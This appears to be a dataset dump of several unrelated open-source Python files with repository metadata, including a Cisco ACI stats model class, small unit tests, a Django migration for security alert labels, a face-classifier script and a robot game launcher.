blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
1e88b4905c58719396ac3a5ba541c9b66da4468a
3c000380cbb7e8deb6abf9c6f3e29e8e89784830
/venv/Lib/site-packages/cobra/modelimpl/comm/webconnag1w.py
eee6f897e973916bc32fecbff1ae310e61e6d490
[]
no_license
bkhoward/aciDOM
91b0406f00da7aac413a81c8db2129b4bfc5497b
f2674456ecb19cf7299ef0c5a0887560b8b315d0
refs/heads/master
2023-03-27T23:37:02.836904
2021-03-26T22:07:54
2021-03-26T22:07:54
351,855,399
0
0
null
null
null
null
UTF-8
Python
false
false
17,851
py
# coding=UTF-8 # ********************************************************************** # Copyright (c) 2013-2020 Cisco Systems, Inc. All rights reserved # written by zen warriors, do not modify! # ********************************************************************** from cobra.mit.meta import ClassMeta from cobra.mit.meta import StatsClassMeta from cobra.mit.meta import CounterMeta from cobra.mit.meta import PropMeta from cobra.mit.meta import Category from cobra.mit.meta import SourceRelationMeta from cobra.mit.meta import NamedSourceRelationMeta from cobra.mit.meta import TargetRelationMeta from cobra.mit.meta import DeploymentPathMeta, DeploymentCategory from cobra.model.category import MoCategory, PropCategory, CounterCategory from cobra.mit.mo import Mo # ################################################## class WebConnAg1w(Mo): """ A class that represents the most current aggregated statistics for web connections in a 1 week sampling interval. This class updates every day. """ meta = StatsClassMeta("cobra.model.comm.WebConnAg1w", "web connections") counter = CounterMeta("handled", CounterCategory.COUNTER, "connections", "total handled connections") counter._propRefs[PropCategory.IMPLICIT_CUMULATIVE] = "handledCum" counter._propRefs[PropCategory.IMPLICIT_PERIODIC] = "handledPer" counter._propRefs[PropCategory.IMPLICIT_SUSPECT] = "handledSpct" counter._propRefs[PropCategory.IMPLICIT_THRESHOLDED] = "handledThr" counter._propRefs[PropCategory.IMPLICIT_TREND_BASE] = "handledTrBase" counter._propRefs[PropCategory.IMPLICIT_TREND] = "handledTr" counter._propRefs[PropCategory.IMPLICIT_RATE] = "handledRate" meta._counters.append(counter) counter = CounterMeta("accepted", CounterCategory.COUNTER, "connections", "total accepted connections") counter._propRefs[PropCategory.IMPLICIT_CUMULATIVE] = "acceptedCum" counter._propRefs[PropCategory.IMPLICIT_PERIODIC] = "acceptedPer" counter._propRefs[PropCategory.IMPLICIT_SUSPECT] = "acceptedSpct" counter._propRefs[PropCategory.IMPLICIT_THRESHOLDED] = "acceptedThr" counter._propRefs[PropCategory.IMPLICIT_TREND_BASE] = "acceptedTrBase" counter._propRefs[PropCategory.IMPLICIT_TREND] = "acceptedTr" counter._propRefs[PropCategory.IMPLICIT_RATE] = "acceptedRate" meta._counters.append(counter) counter = CounterMeta("active", CounterCategory.GAUGE, "connections", "current active connections") meta._counters.append(counter) meta.moClassName = "commWebConnAg1w" meta.rnFormat = "CDcommWebConnAg1w" meta.category = MoCategory.STATS_CURRENT meta.label = "current aggregated web connections stats in 1 week" meta.writeAccessMask = 0x1 meta.readAccessMask = 0x1 meta.isDomainable = False meta.isReadOnly = True meta.isConfigurable = False meta.isDeletable = False meta.isContextRoot = True meta.parentClasses.add("cobra.model.comm.Https") meta.parentClasses.add("cobra.model.comm.Http") meta.superClasses.add("cobra.model.comm.WebConnAg") meta.superClasses.add("cobra.model.stats.Item") meta.superClasses.add("cobra.model.stats.Curr") meta.rnPrefixes = [ ('CDcommWebConnAg1w', False), ] prop = PropMeta("str", "acceptedCum", "acceptedCum", 19512, PropCategory.IMPLICIT_CUMULATIVE) prop.label = "total accepted connections cumulative" prop.isOper = True prop.isStats = True meta.props.add("acceptedCum", prop) prop = PropMeta("str", "acceptedPer", "acceptedPer", 19513, PropCategory.IMPLICIT_PERIODIC) prop.label = "total accepted connections periodic" prop.isOper = True prop.isStats = True meta.props.add("acceptedPer", prop) prop = PropMeta("str", "acceptedRate", "acceptedRate", 19518, PropCategory.IMPLICIT_RATE) prop.label = "total accepted connections rate" prop.isOper = True prop.isStats = True meta.props.add("acceptedRate", prop) prop = PropMeta("str", "acceptedSpct", "acceptedSpct", 19514, PropCategory.IMPLICIT_SUSPECT) prop.label = "total accepted connections suspect count" prop.isOper = True prop.isStats = True meta.props.add("acceptedSpct", prop) prop = PropMeta("str", "acceptedThr", "acceptedThr", 19515, PropCategory.IMPLICIT_THRESHOLDED) prop.label = "total accepted connections thresholded flags" prop.isOper = True prop.isStats = True prop.defaultValue = 0 prop.defaultValueStr = "unspecified" prop._addConstant("avgCrit", "avg-severity-critical", 2199023255552) prop._addConstant("avgHigh", "avg-crossed-high-threshold", 68719476736) prop._addConstant("avgLow", "avg-crossed-low-threshold", 137438953472) prop._addConstant("avgMajor", "avg-severity-major", 1099511627776) prop._addConstant("avgMinor", "avg-severity-minor", 549755813888) prop._addConstant("avgRecovering", "avg-recovering", 34359738368) prop._addConstant("avgWarn", "avg-severity-warning", 274877906944) prop._addConstant("cumulativeCrit", "cumulative-severity-critical", 8192) prop._addConstant("cumulativeHigh", "cumulative-crossed-high-threshold", 256) prop._addConstant("cumulativeLow", "cumulative-crossed-low-threshold", 512) prop._addConstant("cumulativeMajor", "cumulative-severity-major", 4096) prop._addConstant("cumulativeMinor", "cumulative-severity-minor", 2048) prop._addConstant("cumulativeRecovering", "cumulative-recovering", 128) prop._addConstant("cumulativeWarn", "cumulative-severity-warning", 1024) prop._addConstant("lastReadingCrit", "lastreading-severity-critical", 64) prop._addConstant("lastReadingHigh", "lastreading-crossed-high-threshold", 2) prop._addConstant("lastReadingLow", "lastreading-crossed-low-threshold", 4) prop._addConstant("lastReadingMajor", "lastreading-severity-major", 32) prop._addConstant("lastReadingMinor", "lastreading-severity-minor", 16) prop._addConstant("lastReadingRecovering", "lastreading-recovering", 1) prop._addConstant("lastReadingWarn", "lastreading-severity-warning", 8) prop._addConstant("maxCrit", "max-severity-critical", 17179869184) prop._addConstant("maxHigh", "max-crossed-high-threshold", 536870912) prop._addConstant("maxLow", "max-crossed-low-threshold", 1073741824) prop._addConstant("maxMajor", "max-severity-major", 8589934592) prop._addConstant("maxMinor", "max-severity-minor", 4294967296) prop._addConstant("maxRecovering", "max-recovering", 268435456) prop._addConstant("maxWarn", "max-severity-warning", 2147483648) prop._addConstant("minCrit", "min-severity-critical", 134217728) prop._addConstant("minHigh", "min-crossed-high-threshold", 4194304) prop._addConstant("minLow", "min-crossed-low-threshold", 8388608) prop._addConstant("minMajor", "min-severity-major", 67108864) prop._addConstant("minMinor", "min-severity-minor", 33554432) prop._addConstant("minRecovering", "min-recovering", 2097152) prop._addConstant("minWarn", "min-severity-warning", 16777216) prop._addConstant("periodicCrit", "periodic-severity-critical", 1048576) prop._addConstant("periodicHigh", "periodic-crossed-high-threshold", 32768) prop._addConstant("periodicLow", "periodic-crossed-low-threshold", 65536) prop._addConstant("periodicMajor", "periodic-severity-major", 524288) prop._addConstant("periodicMinor", "periodic-severity-minor", 262144) prop._addConstant("periodicRecovering", "periodic-recovering", 16384) prop._addConstant("periodicWarn", "periodic-severity-warning", 131072) prop._addConstant("rateCrit", "rate-severity-critical", 36028797018963968) prop._addConstant("rateHigh", "rate-crossed-high-threshold", 1125899906842624) prop._addConstant("rateLow", "rate-crossed-low-threshold", 2251799813685248) prop._addConstant("rateMajor", "rate-severity-major", 18014398509481984) prop._addConstant("rateMinor", "rate-severity-minor", 9007199254740992) prop._addConstant("rateRecovering", "rate-recovering", 562949953421312) prop._addConstant("rateWarn", "rate-severity-warning", 4503599627370496) prop._addConstant("trendCrit", "trend-severity-critical", 281474976710656) prop._addConstant("trendHigh", "trend-crossed-high-threshold", 8796093022208) prop._addConstant("trendLow", "trend-crossed-low-threshold", 17592186044416) prop._addConstant("trendMajor", "trend-severity-major", 140737488355328) prop._addConstant("trendMinor", "trend-severity-minor", 70368744177664) prop._addConstant("trendRecovering", "trend-recovering", 4398046511104) prop._addConstant("trendWarn", "trend-severity-warning", 35184372088832) prop._addConstant("unspecified", None, 0) meta.props.add("acceptedThr", prop) prop = PropMeta("str", "acceptedTr", "acceptedTr", 19517, PropCategory.IMPLICIT_TREND) prop.label = "total accepted connections trend" prop.isOper = True prop.isStats = True meta.props.add("acceptedTr", prop) prop = PropMeta("str", "acceptedTrBase", "acceptedTrBase", 19516, PropCategory.IMPLICIT_TREND_BASE) prop.label = "total accepted connections trend baseline" prop.isOper = True prop.isStats = True meta.props.add("acceptedTrBase", prop) prop = PropMeta("str", "childAction", "childAction", 4, PropCategory.CHILD_ACTION) prop.label = "None" prop.isImplicit = True prop.isAdmin = True prop._addConstant("deleteAll", "deleteall", 16384) prop._addConstant("deleteNonPresent", "deletenonpresent", 8192) prop._addConstant("ignore", "ignore", 4096) meta.props.add("childAction", prop) prop = PropMeta("str", "cnt", "cnt", 16212, PropCategory.REGULAR) prop.label = "Number of Collections During this Interval" prop.isImplicit = True prop.isAdmin = True meta.props.add("cnt", prop) prop = PropMeta("str", "dn", "dn", 1, PropCategory.DN) prop.label = "None" prop.isDn = True prop.isImplicit = True prop.isAdmin = True prop.isCreateOnly = True meta.props.add("dn", prop) prop = PropMeta("str", "handledCum", "handledCum", 19597, PropCategory.IMPLICIT_CUMULATIVE) prop.label = "total handled connections cumulative" prop.isOper = True prop.isStats = True meta.props.add("handledCum", prop) prop = PropMeta("str", "handledPer", "handledPer", 19598, PropCategory.IMPLICIT_PERIODIC) prop.label = "total handled connections periodic" prop.isOper = True prop.isStats = True meta.props.add("handledPer", prop) prop = PropMeta("str", "handledRate", "handledRate", 19603, PropCategory.IMPLICIT_RATE) prop.label = "total handled connections rate" prop.isOper = True prop.isStats = True meta.props.add("handledRate", prop) prop = PropMeta("str", "handledSpct", "handledSpct", 19599, PropCategory.IMPLICIT_SUSPECT) prop.label = "total handled connections suspect count" prop.isOper = True prop.isStats = True meta.props.add("handledSpct", prop) prop = PropMeta("str", "handledThr", "handledThr", 19600, PropCategory.IMPLICIT_THRESHOLDED) prop.label = "total handled connections thresholded flags" prop.isOper = True prop.isStats = True prop.defaultValue = 0 prop.defaultValueStr = "unspecified" prop._addConstant("avgCrit", "avg-severity-critical", 2199023255552) prop._addConstant("avgHigh", "avg-crossed-high-threshold", 68719476736) prop._addConstant("avgLow", "avg-crossed-low-threshold", 137438953472) prop._addConstant("avgMajor", "avg-severity-major", 1099511627776) prop._addConstant("avgMinor", "avg-severity-minor", 549755813888) prop._addConstant("avgRecovering", "avg-recovering", 34359738368) prop._addConstant("avgWarn", "avg-severity-warning", 274877906944) prop._addConstant("cumulativeCrit", "cumulative-severity-critical", 8192) prop._addConstant("cumulativeHigh", "cumulative-crossed-high-threshold", 256) prop._addConstant("cumulativeLow", "cumulative-crossed-low-threshold", 512) prop._addConstant("cumulativeMajor", "cumulative-severity-major", 4096) prop._addConstant("cumulativeMinor", "cumulative-severity-minor", 2048) prop._addConstant("cumulativeRecovering", "cumulative-recovering", 128) prop._addConstant("cumulativeWarn", "cumulative-severity-warning", 1024) prop._addConstant("lastReadingCrit", "lastreading-severity-critical", 64) prop._addConstant("lastReadingHigh", "lastreading-crossed-high-threshold", 2) prop._addConstant("lastReadingLow", "lastreading-crossed-low-threshold", 4) prop._addConstant("lastReadingMajor", "lastreading-severity-major", 32) prop._addConstant("lastReadingMinor", "lastreading-severity-minor", 16) prop._addConstant("lastReadingRecovering", "lastreading-recovering", 1) prop._addConstant("lastReadingWarn", "lastreading-severity-warning", 8) prop._addConstant("maxCrit", "max-severity-critical", 17179869184) prop._addConstant("maxHigh", "max-crossed-high-threshold", 536870912) prop._addConstant("maxLow", "max-crossed-low-threshold", 1073741824) prop._addConstant("maxMajor", "max-severity-major", 8589934592) prop._addConstant("maxMinor", "max-severity-minor", 4294967296) prop._addConstant("maxRecovering", "max-recovering", 268435456) prop._addConstant("maxWarn", "max-severity-warning", 2147483648) prop._addConstant("minCrit", "min-severity-critical", 134217728) prop._addConstant("minHigh", "min-crossed-high-threshold", 4194304) prop._addConstant("minLow", "min-crossed-low-threshold", 8388608) prop._addConstant("minMajor", "min-severity-major", 67108864) prop._addConstant("minMinor", "min-severity-minor", 33554432) prop._addConstant("minRecovering", "min-recovering", 2097152) prop._addConstant("minWarn", "min-severity-warning", 16777216) prop._addConstant("periodicCrit", "periodic-severity-critical", 1048576) prop._addConstant("periodicHigh", "periodic-crossed-high-threshold", 32768) prop._addConstant("periodicLow", "periodic-crossed-low-threshold", 65536) prop._addConstant("periodicMajor", "periodic-severity-major", 524288) prop._addConstant("periodicMinor", "periodic-severity-minor", 262144) prop._addConstant("periodicRecovering", "periodic-recovering", 16384) prop._addConstant("periodicWarn", "periodic-severity-warning", 131072) prop._addConstant("rateCrit", "rate-severity-critical", 36028797018963968) prop._addConstant("rateHigh", "rate-crossed-high-threshold", 1125899906842624) prop._addConstant("rateLow", "rate-crossed-low-threshold", 2251799813685248) prop._addConstant("rateMajor", "rate-severity-major", 18014398509481984) prop._addConstant("rateMinor", "rate-severity-minor", 9007199254740992) prop._addConstant("rateRecovering", "rate-recovering", 562949953421312) prop._addConstant("rateWarn", "rate-severity-warning", 4503599627370496) prop._addConstant("trendCrit", "trend-severity-critical", 281474976710656) prop._addConstant("trendHigh", "trend-crossed-high-threshold", 8796093022208) prop._addConstant("trendLow", "trend-crossed-low-threshold", 17592186044416) prop._addConstant("trendMajor", "trend-severity-major", 140737488355328) prop._addConstant("trendMinor", "trend-severity-minor", 70368744177664) prop._addConstant("trendRecovering", "trend-recovering", 4398046511104) prop._addConstant("trendWarn", "trend-severity-warning", 35184372088832) prop._addConstant("unspecified", None, 0) meta.props.add("handledThr", prop) prop = PropMeta("str", "handledTr", "handledTr", 19602, PropCategory.IMPLICIT_TREND) prop.label = "total handled connections trend" prop.isOper = True prop.isStats = True meta.props.add("handledTr", prop) prop = PropMeta("str", "handledTrBase", "handledTrBase", 19601, PropCategory.IMPLICIT_TREND_BASE) prop.label = "total handled connections trend baseline" prop.isOper = True prop.isStats = True meta.props.add("handledTrBase", prop) prop = PropMeta("str", "lastCollOffset", "lastCollOffset", 111, PropCategory.REGULAR) prop.label = "Collection Length" prop.isImplicit = True prop.isAdmin = True meta.props.add("lastCollOffset", prop) prop = PropMeta("str", "modTs", "modTs", 7, PropCategory.REGULAR) prop.label = "None" prop.isImplicit = True prop.isAdmin = True prop.defaultValue = 0 prop.defaultValueStr = "never" prop._addConstant("never", "never", 0) meta.props.add("modTs", prop) prop = PropMeta("str", "repIntvEnd", "repIntvEnd", 110, PropCategory.REGULAR) prop.label = "Reporting End Time" prop.isImplicit = True prop.isAdmin = True meta.props.add("repIntvEnd", prop) prop = PropMeta("str", "repIntvStart", "repIntvStart", 109, PropCategory.REGULAR) prop.label = "Reporting Start Time" prop.isImplicit = True prop.isAdmin = True meta.props.add("repIntvStart", prop) prop = PropMeta("str", "rn", "rn", 2, PropCategory.RN) prop.label = "None" prop.isRn = True prop.isImplicit = True prop.isAdmin = True prop.isCreateOnly = True meta.props.add("rn", prop) prop = PropMeta("str", "status", "status", 3, PropCategory.STATUS) prop.label = "None" prop.isImplicit = True prop.isAdmin = True prop._addConstant("created", "created", 2) prop._addConstant("deleted", "deleted", 8) prop._addConstant("modified", "modified", 4) meta.props.add("status", prop) # Deployment Meta meta.deploymentQuery = True meta.deploymentType = "Ancestor" def __init__(self, parentMoOrDn, markDirty=True, **creationProps): namingVals = [] Mo.__init__(self, parentMoOrDn, markDirty, *namingVals, **creationProps) # End of package file # ##################################################
055a0a056e4c316e4fb5425388900dc3ea5d47ba
47a3a59288792f654309bfc9ceb6cbfa890720ef
/ramda/omit_test.py
11fd6af8b845020962f91cbac8aa37846ca872a5
[ "MIT" ]
permissive
jakobkolb/ramda.py
9531d32b9036908df09107d2cc19c04bf9544564
982b2172f4bb95b9a5b09eff8077362d6f2f0920
refs/heads/master
2023-06-23T00:46:24.347144
2021-02-01T16:47:51
2021-02-01T16:48:25
388,051,418
0
0
MIT
2021-07-21T16:31:45
2021-07-21T08:40:22
null
UTF-8
Python
false
false
352
py
from .omit import omit from ramda.private.asserts import assert_dicts_equal def pick_nocurry_test(): assert_dicts_equal( omit(["a", "d"], {"a": 1, "b": 2, "c": 3, "d": 4}), {"b": 2, "c": 3} ) assert_dicts_equal( omit(["there_is_no_key"], {"a": 1, "b": 2, "c": 3, "d": 4}), {"a": 1, "b": 2, "c": 3, "d": 4}, )
12b2601062b88a0764fe4605d06bd9c8dd80a3cc
1cb49fbe0e99d30869cd30e0ccec2c9477849374
/Face Detection/face_classifier/backup-17-May-2018/face_classifier.py
cf14b6b276b159ee1e6eeaa77a929a30eec826c7
[]
no_license
wuyx/Machine-Learning
ea0f5417669243a8d85cd8a5132dcffdc8e069e8
42a7c843289cc22592ad8e8331367f973ab0b7e4
refs/heads/master
2022-12-19T02:43:28.961837
2020-08-17T03:05:01
2020-08-17T03:05:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,431
py
import platform print("Platform is", platform.system()) if platform.system() == "Darwin": import matplotlib matplotlib.use("TkAgg") import matplotlib.pyplot as plt else: import matplotlib.pyplot as plt import numpy as np import cv2 import tensorflow as tf from tensorflow.contrib.layers import flatten from VGG16 import VGG16 from data_wrangling import PickleHelper class Face_Classifier_With_Tensorflow(object): def __init__(self): self.__path = None def imshow(self, img): plt.imshow(img[...,::-1], cmap="gray") plt.show() def face_classifier_did_loaded(): fc = Face_Classifier_With_Tensorflow() img_cv = PickleHelper.load_pickle("../../../Data/Face/", "faces-obj-32x32-features-norm.pkl") img_label = PickleHelper.load_pickle("../../../Data/Face/", "faces-obj-32x32-labels-norm.pkl") print("\nFEATURE SHAPE: {0}, LABEL SHAPE: {1}\n".format(np.shape(img_cv), np.shape(img_label))) ''' # JUST FOR TEST np.random.seed(32) img_label = np.random.randint(2, size=len(img_label)) print(img_label) #fc.imshow(img_cv[0]) ''' ''' test_idx = 2 print("Label: {0} = < {1} | {2} >".format(img_label[test_idx], np.max(img_cv[test_idx]), np.min(img_cv[test_idx]))) #print(img_cv[test_idx][:30, :30]) fc.imshow(img_cv[test_idx]) ''' vgg16 = VGG16(img_cv[:100], img_label[:100]) vgg16.run_architecture()
9ba8cf12520d5f34fba58ef8cbe065bfe5b8a94b
4b24e80dc274353ff9bd5a8fe62c50cc57444aeb
/fmcapi/api_objects/object_services/urls.py
34c62846acb127a348bd1fd0054e7c645510516f
[ "BSD-3-Clause" ]
permissive
realvitya/fmcapi
ba4dede492238890fdfec1c3fd447906ffeab706
38fb9a8da2d9ebbadf4ed4cb559244646b3bf3be
refs/heads/master
2020-09-13T23:14:53.177902
2019-12-09T03:17:37
2019-12-09T03:17:37
222,935,028
0
0
BSD-3-Clause
2019-11-20T12:42:42
2019-11-20T12:42:41
null
UTF-8
Python
false
false
775
py
from fmcapi.api_objects.apiclasstemplate import APIClassTemplate import logging import warnings class URLs(APIClassTemplate): """ The URLs Object in the FMC. """ VALID_JSON_DATA = ["id", "name", "url", "description"] VALID_FOR_KWARGS = VALID_JSON_DATA + [] URL_SUFFIX = "/object/urls" REQUIRED_FOR_POST = ["name", "url"] def __init__(self, fmc, **kwargs): super().__init__(fmc, **kwargs) logging.debug("In __init__() for URLs class.") self.parse_kwargs(**kwargs) class URL(URLs): """Dispose of this Class after 20210101.""" def __init__(self, fmc, **kwargs): warnings.resetwarnings() warnings.warn("Deprecated: URL() should be called via URLs().") super().__init__(fmc, **kwargs)
f811b9919ddd4e93906f3d2c8777defe2f814acb
7a3c5280f07ceb5eabbb7c38fe864c3288397a26
/pilgram/css/blending/tests/test_soft_light.py
a8da18c2c45f774217789bdcf8708c310e9ea4f7
[ "Apache-2.0" ]
permissive
asharpc/pilgram
17443db1bc4e51d07eb36680138806603cc1b839
c585ca4f7f08549842befdcd05dd7d9972f7b0a2
refs/heads/master
2023-08-30T03:45:33.196127
2021-10-12T04:58:58
2021-10-12T04:58:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,332
py
# Copyright 2019 Akiomi Kamakura # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import numpy as np from PIL import Image import pytest from pilgram import css from pilgram import util from pilgram.css.blending.tests.helpers import assert_alpha_support def test_soft_light(): cb = util.fill((2, 2), [0, 128, 255]) cs_array = np.array([ [[0] * 3, [127] * 3], [[128] * 3, [255] * 3], ], dtype=np.uint8) cs = Image.fromarray(cs_array) soft_light = css.blending.soft_light(cb, cs) expected = [ (0, 64, 255), (0, 128, 255), (0, 128, 255), (0, 181, 255), ] expected = [pytest.approx(c, abs=1) for c in expected] assert list(soft_light.getdata()) == expected # almost eq def test_soft_light_alpha_support(mocker): assert_alpha_support(css.blending.soft_light)
958e2e9ced0acff38b7089f329cfee9354494764
c71c8dc74cc70b06c0c703ef409363496f95871e
/src/agents/migrations/0015_auto_20180618_0335.py
934f399c15649367a689401ee93ad922336c6f89
[]
no_license
l3h4ng/test1
76e882882f8f8a5e0f87088abff13eeac90f33f3
870583fdc6107e16abf04434d83c285f273215f3
refs/heads/master
2020-04-08T07:18:18.315397
2018-11-26T08:57:27
2018-11-26T08:57:27
159,134,139
0
0
null
null
null
null
UTF-8
Python
false
false
4,305
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2018-06-18 10:35 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('agents', '0014_auto_20180605_0348'), ] operations = [ migrations.AlterField( model_name='securityeventsmodels', name='alert', field=models.CharField(choices=[('NEW_DEVICE', 'New device detected'), ('DEVICE_TURN_OFF', 'Device is turn off'), ('DEVICE_CHANGE_IP', 'Device is changed ip'), ('CANNOT_CONNECT_TO_TARGET', 'Cannot connect to target scan.'), ('NEW_SERVICE', 'New service detected'), ('SERVICE_CHANGED', 'Service is changed'), ('SERVICE_CLOSED', 'Service is closed'), ('SERVICE_VERSION_TOO_OLD', 'Service verion is too old'), ('NEW_VULNERABILITY', 'New vulnerability'), ('VULNERABILITY_IS_NOT_FIX', 'Vulnerability is not fix'), ('NEW_SESSION', 'New session'), ('NEW_PENETRATION', 'New penetration testing attack is successful'), ('BKACLIST_DETECTED', 'Blackist detected'), ('MALWARE_DETECTED', 'Malware is detected'), ('WEBSITE_CONTENT_DETECTED', 'Website content is change detected'), ('SERVER_STATUS', 'Website is down'), ('SERVICE_STATUS', 'Services is down')], default='NEW_DEVICE', max_length=50), ), migrations.AlterField( model_name='securityeventsmodels', name='type', field=models.CharField(choices=[('HOST', 'host'), ('SERVICE', 'service'), ('VULNERABLITY', 'vulnerablity'), ('PENETRATION', 'Penetration'), ('BLACKLIST', 'blacklist'), ('MALWARE', 'malware'), ('WEB_DEFACE', 'Web deface'), ('SITE_DOWN', 'Site down')], default='IP ADDRESS', max_length=30), ), migrations.AlterField( model_name='websitesecurityalertmodel', name='description', field=models.TextField(blank=True, choices=[('NEW_DEVICE', 'Detect new device in your network.'), ('DEVICE_TURN_OFF', 'A device is turn off in your network.'), ('DEVICE_CHANGE_IP', 'Ip address of device is changed.'), ('CANNOT_CONNECT_TO_TARGET', 'Cannot connect to target scan.'), ('NEW_SERVICE', 'New service is open on your device.'), ('SERVICE_CHANGED', 'A service is change information.'), ('SERVICE_CLOSED', 'A service is closed on your device.'), ('SERVICE_VERSION_TOO_OLD', 'The version of service is too old.'), ('NEW_VULNERABILITY', ''), ('VULNERABILITY_IS_NOT_FIX', ''), ('NEW_SESSION', 'Penetration testing is successful. A new session is created.'), ('NEW_PENETRATION', 'Penetration testing is successful.'), ('BKACLIST_DETECTED', 'Your domain is making blacklist by domain blacklists checker.'), ('MALWARE_DETECTED', 'A malware is detect in website link.'), ('WEBSITE_CONTENT_DETECTED', 'Website content is changed.'), ('SERVER_STATUS', 'Cannot connect to http website.'), ('SERVICE_STATUS', 'services status')], null=True), ), migrations.AlterField( model_name='websitesecurityalertmodel', name='solution', field=models.TextField(blank=True, choices=[('NEW_DEVICE', 'Please check list devices connected in your network.'), ('DEVICE_TURN_OFF', 'Please check your network connection with your device.'), ('DEVICE_CHANGE_IP', "Please check network connection if you don't setting dhcp."), ('CANNOT_CONNECT_TO_TARGET', 'Please check your network connection of your device and your targets.'), ('NEW_SERVICE', "Please check the service of your device is you don't open port."), ('SERVICE_CHANGED', "Please check the service of your device is you don't do this."), ('SERVICE_CLOSED', "Please check the service of your device is you don't close port."), ('SERVICE_VERSION_TOO_OLD', 'Please update the last version of software.'), ('NEW_VULNERABILITY', ''), ('VULNERABILITY_IS_NOT_FIX', ''), ('NEW_SESSION', ''), ('NEW_PENETRATION', 'Please fix the vulnerability.'), ('BKACLIST_DETECTED', 'Please check mail or website content or contact domain blacklists checker with to unblock.'), ('MALWARE_DETECTED', 'Please check website content source security.'), ('WEBSITE_CONTENT_DETECTED', "Please check website status if you don't do this."), ('SERVER_STATUS', 'Please check http service in website.'), ('SERVICE_STATUS', 'services status')], null=True), ), ]
824eaef60b468f8583973a13aa291b47f2721308
e0597a144cfdcecc72e97b149ff5b1e4e90d1c6d
/src/metapack_build/package/__init__.py
9b22d2a38b3487f8e07fda168b906cabcab03408
[ "MIT" ]
permissive
Metatab/metapack-build
e7f684e924c732c1f25472d0b4ce70847260d154
5e47728c5fc41b9dd1d4d6ef82bbfb67a1d9f953
refs/heads/master
2022-11-13T17:09:44.338504
2022-11-10T21:10:07
2022-11-10T21:10:07
185,630,844
0
0
null
null
null
null
UTF-8
Python
false
false
487
py
# Copyright (c) 2017 Civic Knowledge. This file is licensed under the terms of the # MIT License, included in this distribution as LICENSE """ """ from metapack.package import Downloader, open_package # NOQA from .core import PackageBuilder # NOQA from .csv import CsvPackageBuilder # NOQA from .excel import ExcelPackageBuilder # NOQA from .filesystem import FileSystemPackageBuilder # NOQA from .s3 import S3CsvPackageBuilder # NOQA from .zip import ZipPackageBuilder # NOQA
4bffd584589c2250a04486cee649559d807811e8
6e2487477765a38604cc94ca96af4774dbd88f58
/hc/api/tests/test_admin.py
86a7db1e3e00c9b71ff78700e6c3a8c088e52554
[ "BSD-3-Clause" ]
permissive
herbertUG/healthchecks
e247428012ef8e0c79fe3fe44567b6f9eaf9b298
1cdb6e6d1d1a5bed7026132ed316213e60cb6be1
refs/heads/master
2020-09-28T08:56:17.415441
2019-12-06T06:58:32
2019-12-06T06:58:32
226,740,247
4
0
BSD-3-Clause
2019-12-08T22:20:23
2019-12-08T22:20:21
null
UTF-8
Python
false
false
1,080
py
from hc.api.models import Channel, Check from hc.test import BaseTestCase class ApiAdminTestCase(BaseTestCase): def setUp(self): super(ApiAdminTestCase, self).setUp() self.check = Check.objects.create(project=self.project, tags="foo bar") self.alice.is_staff = True self.alice.is_superuser = True self.alice.save() def test_it_shows_channel_list_with_pushbullet(self): self.client.login(username="[email protected]", password="password") Channel.objects.create( project=self.project, kind="pushbullet", value="test-token" ) r = self.client.get("/admin/api/channel/") self.assertContains(r, "Pushbullet") def test_it_shows_channel_list_with_unverified_email(self): self.client.login(username="[email protected]", password="password") Channel.objects.create( project=self.project, kind="email", value="[email protected]" ) r = self.client.get("/admin/api/channel/") self.assertContains(r, "Email <i>(unconfirmed)</i>")
4f3c2f3566543195b8bf42f7c494580c1a518f9d
fb744d622b947cba3f167bf8b8da810c34ded83d
/run.py
5cbf62bfa20333878ba812ecfb2f043e28a24949
[]
no_license
petres/septupus
8f0f1e7ab7658ee03bd53d66c19db1a412ff1b0e
be83d3c5029ca6d2ce3f72a48c03114fb8535566
refs/heads/master
2023-05-28T20:52:09.223214
2023-02-23T22:46:03
2023-02-23T22:46:03
195,785,991
0
0
null
2023-05-24T01:31:32
2019-07-08T10:03:06
Python
UTF-8
Python
false
false
1,274
py
#!/usr/bin/env python from web import WebManager from flask import request import threading from lib.multiManager import MultiManager from lib.camera.cameraManager import CameraManager from lib.robot.robotManager import RobotManager from lib.robot.serialManager import SerialManager from lib.games.spaceInvadersManager import SpaceInvadersManager import logging import sys import time import curses # setup log file to subdir logging.basicConfig(filename='log/debug.log', level=logging.DEBUG, format='%(levelname)8s - %(name)s %(relativeCreated)d: %(message)s') sys.stderr = open('log/error.log', 'w') def main(screen = None): modules = { 'serial': SerialManager(), 'camera': CameraManager(), 'web': WebManager(), 'robot': RobotManager(), 'spaceInvaders': SpaceInvadersManager(screen) } for n, m in modules.items(): m.setModules(modules) m.initSharedVars() m.load() #modules['serial'].start() modules['camera'].start() modules['web'].start() time.sleep(0.01) modules['spaceInvaders'].run() for n, m in modules.items(): m.save() if isinstance(m, MultiManager) and m.isRunning(): m.stop() #main() curses.wrapper(main)
